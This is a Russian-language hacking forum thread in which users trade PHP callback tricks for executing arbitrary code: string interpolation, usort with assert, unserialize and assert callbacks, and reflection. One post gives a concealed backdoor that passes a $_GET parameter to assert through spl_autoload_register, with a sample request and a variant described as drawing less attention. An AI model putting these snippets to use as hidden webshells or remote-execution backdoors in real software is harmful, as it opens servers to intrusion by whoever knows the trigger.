Старый 14.01.2011, 20:50   #11
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Ну и так, размышления вслух:

если в большинство из этих функций удастся передать что-то вроде {${phpinfo()}} (там, где используется call_user_func), просто, в любое место в массиве, то код выполнится (правда тут двойные кавычки принципиальны).

PS: может и бред, но пусть будет ^_^

примеры:

PHP код:
array_map('1', array("{${phpinfo()}}")); 
PHP код:
<?php 
function s($a$b){
    return 
strcmp($b[1], $a[1]);
}
usort($c = array("{${phpinfo()}}"'1'), 's'); 
?>
и еще один по поводу usort - кол-во элементов в массиве не имеет значения, главное соблюсти последовательсноть:

PHP код:
<?php 
$c 
= array(1,2,3,'phpinfo()',4,5,'assert',6,7);
usort($c'call_user_func'); 
?>
Pashkela вне форума   Ответить с цитированием
Старый 15.01.2011, 11:46   #12
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Pashkela, 2 твоих первых примера работаю не из-за callback'ов, а из-за использования complex expressions (http://ru2.php.net/manual/en/language.types.string.php).
Достаточно простого:
Код:
"{${phpinfo()}}";
, чтобы вызвать функцию.
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 20.01.2011, 04:22   #13
Dr.Z3r0
 
Аватар для Dr.Z3r0
 
Регистрация: 05.07.2010
Сообщений: 101
Репутация: 156
По умолчанию

set_exception_handler PHP>5
PHP код:
function handler($exception) {
    echo 
"Exception: ".$exception->getMessage();
}
set_exception_handler('handler');

throw new 
Exception('exception'); 
Вот еще интересный пример (ini_set + unserialize)
(калбек вызывается при попытке десериализовать необъявленный класс - масса вариантов использования )
PHP код:
function foo($classname) {
    die(
__FUNCTION__);
}
ini_set('unserialize_callback_func','foo');

$ser='O:1:"a":1:{s:5:"value";s:3:"100";}';
unserialize($ser); 
Еще похожий пример (ini_set + assert):
PHP код:
function foo(){
    die(
__FUNCTION__);
}
ini_set('assert.callback''foo');

assert(0); 
__________________
На просьбы о помощи в sql-injection в ПМ не отвечаю. Для этих вопросов есть специальные темы.
Dr.Z3r0 вне форума   Ответить с цитированием
Старый 20.01.2011, 12:48   #14
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Меня вот такой вариант прикалывает)
PHP код:
spl_autoload_register("assert");
$f $_GET['c'];
new 
$f(); 
Код:
http://test/?c=phpinfo()
Ну или если не так сильно палиться
PHP код:
spl_autoload_register("assert");
if(
class_exists($_GET['c'])) {
...

BlackFan вне форума   Ответить с цитированием
Старый 22.01.2011, 19:10   #15
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

PHP код:
$func = new ReflectionFunction('assert');
var_dump($func->invoke('phpinfo()')); 

Последний раз редактировалось Pashkela; 20.03.2012 в 10:45..
Pashkela вне форума   Ответить с цитированием
Старый 28.02.2014, 15:28   #16
HeartLESS
 
Регистрация: 25.04.2012
Сообщений: 101
Репутация: 31
По умолчанию

Цитата:
header_register_callback('phpinfo');
пять символов
HeartLESS вне форума   Ответить с цитированием
Старый 08.08.2019, 12:34   #17
Beched
 
Регистрация: 06.07.2010
Сообщений: 403
Репутация: 118
По умолчанию

Спущено из lvl1
Beched вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot